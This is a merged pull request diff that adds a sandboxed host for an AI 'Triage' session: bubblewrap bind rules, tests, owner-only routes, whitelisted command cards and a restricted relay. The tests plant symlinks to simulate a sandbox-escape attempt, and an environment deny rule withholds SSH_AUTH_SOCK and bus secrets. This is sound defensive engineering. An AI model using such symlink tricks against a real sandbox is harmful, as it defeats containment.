feat(webui): the Triage session's server side, a sandboxed host, relay, health snapshot and owner-only routes (#1873) #1983

Merged
jason.woltje merged 7 commits from triage-host into refactor 2026-11-16 20:05:52 +00:00
13 changed files with 1976 additions and 6 deletions

No files matched your search

+42
View File
@@ -193,6 +193,48 @@ export function sandboxArgv(list, runDir, command, { business, role, bwrap = BWR
return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", ...identity, "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command];
}
// #1873 triage-host: the binds for a session the Console hosts in no organization (Triage). It
// gets the system part, the runner's files, the adapter and the harness module's mounts like any
// session, and from the data root exactly two directories: its own `runDir` read-write, and
// `healthDir` read-only over runDir/work/health, inside the workspace the read tools' gate allows. The run's bundle/, session.json and the relay socket the runner
// calls through stay read-only inside it, and its tmp/ is /tmp. There is no workspace, broker,
// launch or git socket, thread store or org root. Each source inside runDir must be what the host
// just made there, never a link the session left: bwrap resolves a bind's source on the host.
export function hostedBinds({ runDir, healthDir, adapter, harnessMounts = [], relaySocket, node = process.execPath, readOnly = [] }) {
if (relaySocket !== join(runDir, "relay.sock")) throw new Error("hosted binds: the relay socket must be the run directory's relay.sock");
const healthDest = join(runDir, "work", "health");
for (const p of [runDir, healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work"), healthDest]) {
let st;
try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is missing`); }
if (st.isSymbolicLink() || !st.isDirectory()) throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is not a directory`);
}
for (const [p, ok] of [[join(runDir, "session.json"), (st) => st.isFile()], [relaySocket, (st) => st.isSocket()]]) {
let st;
try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${relative(runDir, p)} is missing`); }
if (!ok(st)) throw new Error(`hosted binds: ${relative(runDir, p)} is not what the host made`);
}
const out = systemBinds(node);
for (const f of RUNNER_FILES) out.push({ kind: "ro", src: f, why: "a repository file the runner loads" });
out.push({ kind: "ro", src: adapter, why: "the harness adapter the runner starts each turn" });
for (const m of harnessMounts) out.push({ kind: "ro", src: m.src, ...(m.dest ? { dest: m.dest } : {}), why: m.why });
for (const f of readOnly) out.push({ kind: "ro", src: f, why: "a test fixture" });
out.push(
{ kind: "rw", src: runDir, why: "the session's own state: turns/, session/, work/, tools.sock, turn.done, home/, tmp/" },
{ kind: "ro", src: healthDir, dest: healthDest, why: "the health snapshots the Console writes, read-only, inside the workspace the read tools reach" },
{ kind: "ro", src: join(runDir, "bundle"), why: "the run's bundle stays as the host wrote it" },
{ kind: "ro", src: join(runDir, "session.json"), why: "the session file stays as the host wrote it" },
{ kind: "ro", src: relaySocket, why: "the host's relay, the only broker the runner reaches" },
{ kind: "rw", src: join(runDir, "tmp"), dest: "/tmp", why: "a private /tmp, on disk in the run directory" },
);
return out;
}
// The command line for a hosted session: as sandboxArgv, with no git identity, since a hosted
// session belongs to no organization and holds no git verb.
export function hostedArgv(list, runDir, command, { bwrap = BWRAP } = {}) {
return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command];
}
// Whether bwrap runs here at all: the namespaces and the system binds, then
// setpriv and `true`. Returns null, or why not.
export function sandboxProblem({ bwrap = BWRAP } = {}) {
+83
View File
@@ -0,0 +1,83 @@
// #1873 triage-host: the binds of a session the Console hosts in no organization. From the data root
// it gets its own run directory and the health directory, read-only, and nothing else; every source
// inside the run directory must be what the host made, never a link.
import { test } from "node:test";
import assert from "node:assert/strict";
import { createServer } from "node:net";
import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { RUNNER_FILES, hostedArgv, hostedBinds } from "../src/sandbox.mjs";
function layout(t) {
const root = mkdtempSync(join(process.env.TMPDIR, "hb-"));
const dataRoot = join(root, "data");
const runDir = join(dataRoot, "triage", "agent");
const healthDir = join(dataRoot, "triage", "health");
for (const d of [join(dataRoot, "orgs"), join(dataRoot, "triage", "host"), healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work", "health")]) mkdirSync(d, { recursive: true });
writeFileSync(join(runDir, "session.json"), "{}");
const adapter = join(root, "adapter.sh");
writeFileSync(adapter, "exit 0\n");
return new Promise((resolve) => {
const server = createServer().listen(join(runDir, "relay.sock"), () => {
t.after(() => server.close());
resolve({ root, dataRoot, runDir, healthDir, adapter, relaySocket: join(runDir, "relay.sock") });
});
});
}
test("hosted binds hold the run directory and the health directory of the data root, and nothing else of it", async (t) => {
const p = await layout(t);
const list = hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket });
const fromData = list.filter((b) => typeof b.src === "string" && b.src.startsWith(p.dataRoot + "/"));
assert.deepEqual(fromData.map((b) => [b.kind, b.src, b.dest ?? null]), [
["rw", p.runDir, null],
["ro", p.healthDir, join(p.runDir, "work", "health")],
["ro", join(p.runDir, "bundle"), null],
["ro", join(p.runDir, "session.json"), null],
["ro", p.relaySocket, null],
["rw", join(p.runDir, "tmp"), "/tmp"],
]);
for (const f of RUNNER_FILES) assert.ok(list.some((b) => b.kind === "ro" && b.src === f), f);
assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter));
assert.ok(!list.some((b) => b.src === p.root || b.src === p.dataRoot || (typeof b.src === "string" && b.src.startsWith(join(p.dataRoot, "orgs")))));
assert.ok(!list.some((b) => b.src === process.env.HOME || b.dest === process.env.HOME));
assert.ok(list.every((b) => typeof b.why === "string" && b.why.length > 0));
});
test("hosted binds refuse a relay socket elsewhere, and any source in the run directory that the host did not make", async (t) => {
const p = await layout(t);
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket };
assert.throws(() => hostedBinds({ ...base, relaySocket: join(p.root, "bus.sock") }), /relay socket must be the run directory's relay\.sock/);
// A link in place of each directory the binds read: bwrap would follow it on the host.
for (const d of ["bundle", "tmp", "work"]) {
rmSync(join(p.runDir, d), { recursive: true });
symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, d));
assert.throws(() => hostedBinds(base), /is not a directory/, d);
rmSync(join(p.runDir, d));
mkdirSync(join(p.runDir, d === "work" ? join("work", "health") : d), { recursive: true });
}
rmSync(join(p.runDir, "work", "health"), { recursive: true });
symlinkSync(join(p.dataRoot, "triage", "host"), join(p.runDir, "work", "health"));
assert.throws(() => hostedBinds(base), /is not a directory/);
rmSync(join(p.runDir, "work", "health"));
mkdirSync(join(p.runDir, "work", "health"));
rmSync(join(p.runDir, "session.json"));
symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, "session.json"));
assert.throws(() => hostedBinds(base), /session\.json is not what the host made/);
rmSync(join(p.runDir, "session.json"));
writeFileSync(join(p.runDir, "session.json"), "{}");
assert.throws(() => hostedBinds({ ...base, healthDir: join(p.root, "absent") }), /the health directory is missing/);
hostedBinds(base);
});
test("the hosted command line sets no git identity and runs the command under the namespaces", async (t) => {
const p = await layout(t);
const argv = hostedArgv(hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }), p.runDir, ["node", "runner.mjs", p.runDir], { bwrap: "/b/bwrap" });
assert.equal(argv[0], "/b/bwrap");
assert.deepEqual(argv.slice(1, 5), ["--unshare-user", "--unshare-pid", "--unshare-ipc", "--as-pid-1"]);
assert.deepEqual(argv.slice(-3), ["node", "runner.mjs", p.runDir]);
assert.ok(!argv.some((a) => a.startsWith("GIT_")));
const home = argv.indexOf("HOME");
assert.equal(argv[home + 1], join(p.runDir, "home"));
assert.ok(argv.includes("--remount-ro"));
});
+25 -3
View File
@@ -34,6 +34,8 @@ import { isAbsolute, join } from 'node:path';
import { actionTrail } from './action-trail.mjs';
import { reviveBuses } from './bus-revive.mjs';
import { createProxyAdmin, orgCatalogue } from './proxy-admin.mjs';
import { createTriageHost } from './triage-host.mjs';
import { composeSnapshot, readSystemConfig, readOrgConfig } from './triage-snapshot.mjs';
import { busesStopped } from '../../cli/src/proxy-admin-host.mjs';
import { agentLevelsWriteRoutes } from './agent-levels-write.mjs';
import { RESTART_EXIT } from '../../cli/src/org-console.mjs';
@@ -227,20 +229,40 @@ try {
return out;
},
}) : null;
// #1873 triage-host: the instance owner's Triage session, hosted by the Console in no organization.
// Nothing starts here; the owner's first message starts it. No model route store exists without a
// schema change, so none is wired: the read says no route is set and nothing launches.
const triage = system && (devOwner || ssoOn) ? createTriageHost({
dataRoot: system.dataRoot, route: null, devOwner: Boolean(devOwner), log: line => console.log(line),
readSnapshot: () => composeSnapshot({
orgs: () => listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance }),
busStatus: id => orgBusStatus({ configDir: configDir(), dataRoot: system.dataRoot, instance }, id),
processing: async id => {
const org = (await listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance })).find(o => o.id === id);
if (!org) return null;
return busCaller({ dataRoot: org.root, socket: orgPaths(org.root).socket, business: id, timeoutMs: 5000 })('processing.status');
},
orgConfig: id => readOrgConfig(id),
proxy: () => proxyAdmin.status(),
systemConfig: () => readSystemConfig(),
}),
}) : null;
let server, testerServer = null;
// F3: the restart route closes every listener and connection, then exits RESTART_EXIT for the
// supervisor to relaunch. Without --supervised the route answers not-supervised.
const restart = supervised ? () => {
sso?.close(); testerServer?.close();
// The Triage session gets SIGTERM now and SIGKILL before the 2 s exit below.
const triageStopped = triage ? triage.stop({ graceMs: 1500 }) : Promise.resolve();
setTimeout(() => process.exit(RESTART_EXIT), 2000).unref();
server.close(() => process.exit(RESTART_EXIT));
server.close(() => triageStopped.finally(() => process.exit(RESTART_EXIT)));
server.closeAllConnections();
} : null;
const trail = system ? actionTrail(join(system.dataRoot, 'console')) : null;
// #1873 A2: Settings > Agents writes for the root and project levels, beside the levels read.
const agentLevelRoutes = organizations ? [agentLevelsWriteRoutes({ configDir: configDir(), rolesDir: rolesDir(), trail })] : [];
try {
server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null });
server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, triage, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null });
} catch (err) { sso?.close(); throw err; }
if (testerSocket) {
const call = busCaller({ dataRoot: system.dataRoot, socket: socketPath(system.dataRoot), business: options.business ?? null, cli: TESTER_CLI });
@@ -277,7 +299,7 @@ try {
// D2 (P0-3): the dev Console reattaches to the buses that still run and brings back the ones its
// unit stop killed. It runs after the Console answers, so a slow bus never delays the page.
if (organizations && trail) reviveBuses({ ctx: { configDir: configDir(), dataRoot: system.dataRoot, instance }, listOrgs, busStatus: orgBusStatus, busRevive: orgBusRevive, trail, log: line => console.log(line) }).catch(() => console.log('bus revive: stopped on an unexpected error'));
for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); });
for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); triage?.stop(); });
} catch (err) {
console.error(`refused: ${err.message}`);
process.exitCode = 2;
+12 -3
View File
@@ -1,6 +1,7 @@
import { AUTONOMY_ROUTE, autonomyHTTP } from './autonomy-http.mjs';
import { proxyHTTP } from './proxy-http.mjs';
import { proxyAdminHTTP } from './proxy-admin.mjs';
import { triageHTTP, TRIAGE_PATHS } from './triage-http.mjs';
import { createServer } from 'node:http';
import { bindTesterSocket, TESTER_ORIGIN } from './tester-socket.mjs';
import { readFileSync, openSync, fstatSync, closeSync, constants } from 'node:fs';
@@ -811,7 +812,7 @@ async function libraryStatusRead(res, read, search) {
// `log` takes one line per send attempt that got past sign-in; never the body. `fieldsFile` is for
// tests; the field table is otherwise the committed packages/tasks/fields.json.
// `agentWrite` (row 194, D7) is `(verb, args) => Promise` for the Agents section's verbs and instance.request.
export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) {
export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, triage = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) {
// org-lan-bind: the dev owner on the LAN is an explicit opt-in. `devAllowHosts` names the Host
// names (without a port) a remote browser may use; only the dev owner takes them, and only with
// them may it bind a non-loopback IPv4 address. SSO, preview and tester listeners stay loopback.
@@ -935,7 +936,10 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
if (match) {
orgId = match[1];
path = `/api/${match[2]}`;
} else if (!orgList && path !== '/api/config' && !hook) {
} else if (!orgList && path !== '/api/config' && !hook
// #1873 triage-host: the Triage routes pass only for the instance owner's own session on the
// public name; every other caller gets this Console's unknown /api/ answer. The gate below checks again.
&& !(triage && TRIAGE_PATHS.includes(path) && !tester && named && sso !== null && sso.session(req)?.rootOwner === true)) {
return json(res, 404, { error: 'org-unavailable' });
}
}
@@ -1048,6 +1052,11 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
if (path.startsWith('/api/proxy/')) return proxyHTTP(req, res, { path, call: proxyCall, named, tester, granted,
send, origin: sso ? (localOrigin ?? sso.publicOrigin) : `https://${preview.host}`, user: signer?.user, log });
}
// #1873 triage-host: the Triage session's two routes answer only the instance owner's own session on
// the public name, with no organization selected. Anyone else falls through to the answer an
// unknown route gives them, so the routes are not visible to a caller who cannot use them.
if (TRIAGE_PATHS.includes(path) && triage && !tester && !granted && named && sso !== null && orgId === null && !hook && currentSession?.rootOwner === true)
return triageHTTP(req, res, { path, triage, send: owner.send !== null, origin: localOrigin ?? sso.publicOrigin, log });
// Row 252: Approve and Deny. The tester listener never offers them. Anywhere else without a signed-in
// session on the public name under --sso and --send, they are read-only.
@@ -1240,7 +1249,7 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
// `send`: the page shows the composer only where a send can pass (the public name, --send on).
// `edit`: the editor shows Save only where a save can pass, the same test as the route's.
// `user` and `federation` (FED R6) only when there is one, so the owner's config is unchanged.
if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named });
if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), ...(triage && !tester && !granted && named && sso !== null && orgId === null && currentSession?.rootOwner === true ? { triage: true, triageSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named });
if (path === '/healthz') return json(res, 200, { ok: true, ...(sso ? { sso: sso.health() } : {}) });
if (path === '/favicon.ico') { res.writeHead(204); return res.end(); }
const file = files.get(path);
+60
View File
@@ -0,0 +1,60 @@
// #1873 triage-host: the command cards a Triage reply may carry (design section 4). The agent
// proposes a card as `{ step, org }` in a fenced ```cards block of its reply. The server keeps a card
// only when its keys are exactly step and org, its step is one of CARD_STEPS and its org is in the
// registry, and it renders the command text itself from the fixed map below. Anything else is
// dropped and counted. The rest of the reply is plain text: control characters are removed and it
// is clipped. A card has no Run action; the owner copies the command into a terminal.
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
export const CARD_STEPS = Object.freeze({
// On a --dev-local-owner Console the bus starts in that mode, as the Organization page's own step says.
"bus-start": (org, { devOwner = false } = {}) => `mosaic bus start ${org}${devOwner === true ? " --dev-local-owner" : ""} --detach`,
"bus-restart": (org) => `mosaic bus restart ${org}`,
"bus-recover": (org) => `mosaic bus recover ${org}`,
"bus-stop": (org) => `mosaic bus stop ${org}`,
"org-config-validate": (org) => `mosaic org config validate ${org}`,
});
export const MAX_CARDS = 5;
export const MAX_TEXT = 8000;
const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g;
// Plain text: no control characters other than newline and tab, and no more than MAX_TEXT.
export function plainText(value, max = MAX_TEXT) {
if (typeof value !== "string") return "";
// eslint-disable-next-line no-control-regex
return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff​-‏‪-‮⁦-⁩]/g, "").slice(0, max);
}
// One card, or null. orgIds is the set of registry ids the snapshot read.
export function validateCard(card, orgIds, opts = {}) {
if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null;
const keys = Object.keys(card);
if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null;
const { step, org } = card;
if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null;
if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null;
return { step, org, command: CARD_STEPS[step](org, opts) };
}
// The reply split into its plain text and the cards the server keeps.
export function extractCards(reply, orgIds, opts = {}) {
const source = typeof reply === "string" ? reply : "";
const cards = [];
let dropped = 0;
const seen = new Set();
const text = source.replace(FENCE, (_, body) => {
let parsed;
try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; }
const list = Array.isArray(parsed) ? parsed : [parsed];
for (const item of list) {
const card = validateCard(item, orgIds, opts);
const key = card && `${card.step} ${card.org}`;
if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; }
seen.add(key);
cards.push(card);
}
return "";
});
return { text: plainText(text.trim()), cards, dropped };
}
+431
View File
@@ -0,0 +1,431 @@
// #1873 triage-host: the Triage session's host, held by the Console (design sections 1 and 4).
//
// Directories, under <dataRoot>/triage/ (0700, real directories owned by this user):
// health/ the snapshot the Console writes (triage-snapshot.mjs); mounted read-only
// agent/ the session's own run directory; mounted read-write, with bundle/, session.json and
// relay.sock read-only inside it
// host/ the transcript (transcript.jsonl, 0600) and the runner's log; never mounted
// Nothing else of the data root, no org root, bus socket, config directory or secrets directory is
// in the sandbox (packages/seat/src/sandbox.mjs, hostedBinds).
//
// The session starts on the owner's first message, never when the Console starts. Its spawn
// environment is SPAWN_ENV_ALLOW and the route's ROUTE_ENV_ALLOW names; bwrap adds HOME and TMPDIR.
// No MOSAIC_CONFIG, no MOSAIC_BUS_* and no Console variable reaches it.
//
// The relay is the only broker the runner reaches. It answers the runner's own lifecycle verbs with
// fixed answers that change nothing, hands over the owner's queued messages, and keeps a
// message.send only when it is addressed to "human": that text goes into the transcript and its
// cards are checked (triage-cards.mjs). Every other verb, decision.raise and event.emit included,
// a send to anyone else and a call with the wrong capability are refused with RELAY_REFUSED.
//
// A model route comes from an injected `route` ({ admit() }). Without one nothing launches and the
// state says so. The route's answer names the harness: adapter, its mounts, harnessEnv, turnEnd,
// model and provider, and the proxy variables for the spawn. Over the cap the route refuses until
// the next day, and the message is refused with its code.
import { spawn } from "node:child_process";
import { randomBytes, timingSafeEqual } from "node:crypto";
import { appendFileSync, closeSync, lstatSync, mkdirSync, openSync, readFileSync, rmSync, chmodSync, writeFileSync } from "node:fs";
import { createServer } from "node:net";
import { dirname, join } from "node:path";
import { BWRAP, REPO, RUNNER_FILES, hostedArgv, hostedBinds } from "../../seat/src/sandbox.mjs";
import { typedTools } from "../../harness/src/tools.mjs";
import { builtinTools } from "../../harness/src/bundle.mjs";
import { FOUNDER_ENV } from "../../harness/src/runner.mjs";
import { extractCards, plainText } from "./triage-cards.mjs";
import { SNAPSHOT_FILE, writeSnapshot } from "./triage-snapshot.mjs";
export const RUNNER = RUNNER_FILES[0];
export const RELAY_REFUSED = "triage-refused";
export const MESSAGE_MAX = 4000;
export const TRANSCRIPT_KEEP = 200;
export const QUEUE_MAX = 20;
export const UNANSWERED = "Triage stopped before it answered this message. Send it again.";
export const NOT_STARTED = "Triage did not start, so this message was not delivered.";
export const NOT_TAKEN = "Triage stopped before it read this message. Send it again.";
// An over-cap answer is held for at most this long; a later time is not taken.
export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000;
const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/;
const LINE_MAX = 64 * 1024;
// The id the host gives each owner message. A reply may name only such an id.
const OWNER_ID = /^owner-[0-9a-f]{12}$/;
const CAP = /^[0-9a-f]{64}$/;
// The spawn's environment: these names from the Console's own environment, PATH fixed, and the
// route's proxy variables. bwrap sets HOME and TMPDIR inside.
export const SPAWN_ENV_ALLOW = Object.freeze(["PATH", "LANG", "LC_ALL", "TZ", "TERM"]);
export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]);
const ENV_NAME = /^[A-Z][A-Z0-9_]{0,63}$/;
const deniedHarnessName = (k) => !ENV_NAME.test(k) || k === "MOSAIC_CONFIG" || k.startsWith("MOSAIC_BUS_") || FOUNDER_ENV.includes(k) || k === "SSH_AUTH_SOCK";
export function triageEnv(source, routeEnv = {}, { node = process.execPath } = {}) {
const env = { PATH: `${dirname(node)}:/usr/bin:/bin` };
for (const k of SPAWN_ENV_ALLOW) if (k !== "PATH" && typeof source?.[k] === "string" && source[k].length <= 256) env[k] = source[k];
for (const k of ROUTE_ENV_ALLOW) if (typeof routeEnv?.[k] === "string" && routeEnv[k].length <= 4096) env[k] = routeEnv[k];
return env;
}
// The relay's fixed answers. None of them reaches a bus or changes anything.
const LIFECYCLE = Object.freeze({
"role.claim": () => ({ library: false }),
state: () => ({ launch: { state: "on", at: null, event: null }, tasks: { open: [], total: 0, cap: 0 } }),
"processing.status": () => ({ halted: false, invalid: false }),
"usage.begin": () => ({}),
"usage.end": () => ({}),
"role.release": () => ({}),
});
export class TriageError extends Error {
constructor(code, message) {
super(message);
this.code = code;
}
}
function realDir(path, { create = true } = {}) {
let st;
try {
st = lstatSync(path);
} catch (e) {
if (e.code !== "ENOENT" || !create) throw new TriageError("triage-dir-unsafe", "a Triage directory is missing");
mkdirSync(path, { mode: 0o700 });
st = lstatSync(path);
}
if (st.isSymbolicLink() || !st.isDirectory()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not a real directory");
if (typeof process.getuid === "function" && st.uid !== process.getuid()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not owned by the Console's user");
chmodSync(path, 0o700);
}
// A directory inside agent/, which the session can write: removed whole (rm never follows a link)
// and made again, so a link the session left there can't steer a bind or a host write.
function freshDir(path) {
rmSync(path, { recursive: true, force: true });
mkdirSync(path, { mode: 0o700 });
}
export function triagePaths(dataRoot) {
const root = join(dataRoot, "triage");
return { root, health: join(root, "health"), agent: join(root, "agent"), host: join(root, "host"), transcript: join(root, "host", "transcript.jsonl"), log: join(root, "host", "runner.log") };
}
// The prompt is the role's contract and the host's own lines: where the snapshot is and how a
// card is written. It names the snapshot inside the session, never a host path of the data root.
export function hostPrompt(contract, { snapshotPath, steps }) {
return [
contract.trimEnd(),
"",
"## This host",
"",
`- The health snapshot is the JSON file ${snapshotPath}. Read it at the start of each turn; it is the only health you can see. A field that says "not read" was not read; say so, never guess it.`,
"- Each message arrives as one turn and your final answer goes back to the person. send_message reaches only \"human\"; this host refuses every other call.",
"- Propose each fix as a card in one fenced block marked cards, holding a JSON array of objects with exactly two keys, step and org, for example:",
"```cards",
'[{"step": "bus-start", "org": "alpha"}]',
"```",
`- step is one of: ${steps.join(", ")}. org is an organization id from the snapshot. The Console writes the command for each card; never write a command yourself. A card with anything else is dropped.`,
"",
].join("\n");
}
function sameCap(a, b) {
if (typeof a !== "string" || !CAP.test(a)) return false;
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
}
// The relay server. `onSend(body)` keeps a human-bound send; `take()` returns the queued owner
// messages; `read(id)` drops one that was answered.
export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) {
const answer = (conn, value) => { try { conn.end(JSON.stringify(value) + "\n"); } catch {} };
const refuse = (conn) => answer(conn, { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" });
const server = createServer((conn) => {
let buf = "";
let done = false;
conn.setTimeout(30_000, () => conn.destroy());
conn.on("error", () => {});
conn.on("data", (chunk) => {
if (done) return;
buf += chunk.toString("utf8");
if (buf.length > LINE_MAX) { done = true; return refuse(conn); }
const nl = buf.indexOf("\n");
if (nl < 0) return;
done = true;
let req;
try { req = JSON.parse(buf.slice(0, nl)); } catch { return refuse(conn); }
if (!req || typeof req !== "object" || !sameCap(req.cap, cap) || typeof req.verb !== "string") return refuse(conn);
const args = req.args && typeof req.args === "object" && !Array.isArray(req.args) ? req.args : {};
const verb = req.verb;
try {
if (Object.hasOwn(LIFECYCLE, verb)) return answer(conn, { ok: true, result: LIFECYCLE[verb]() });
if (verb === "message.receive") return answer(conn, { ok: true, result: take() });
if (verb === "message.read") { read(args.id); return answer(conn, { ok: true, result: {} }); }
if (verb === "message.send" && args.to === "human" && typeof args.body === "string" && args.body.length <= 32768) {
// Only an id the host issued is kept. The model writes this field, and the transcript serves it.
onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" && OWNER_ID.test(args.in_reply_to) ? args.in_reply_to : null });
return answer(conn, { ok: true, result: { id: `triage-${randomBytes(6).toString("hex")}` } });
}
} catch (e) {
log(`triage relay: ${verb} failed: ${e.code ?? "error"}`);
}
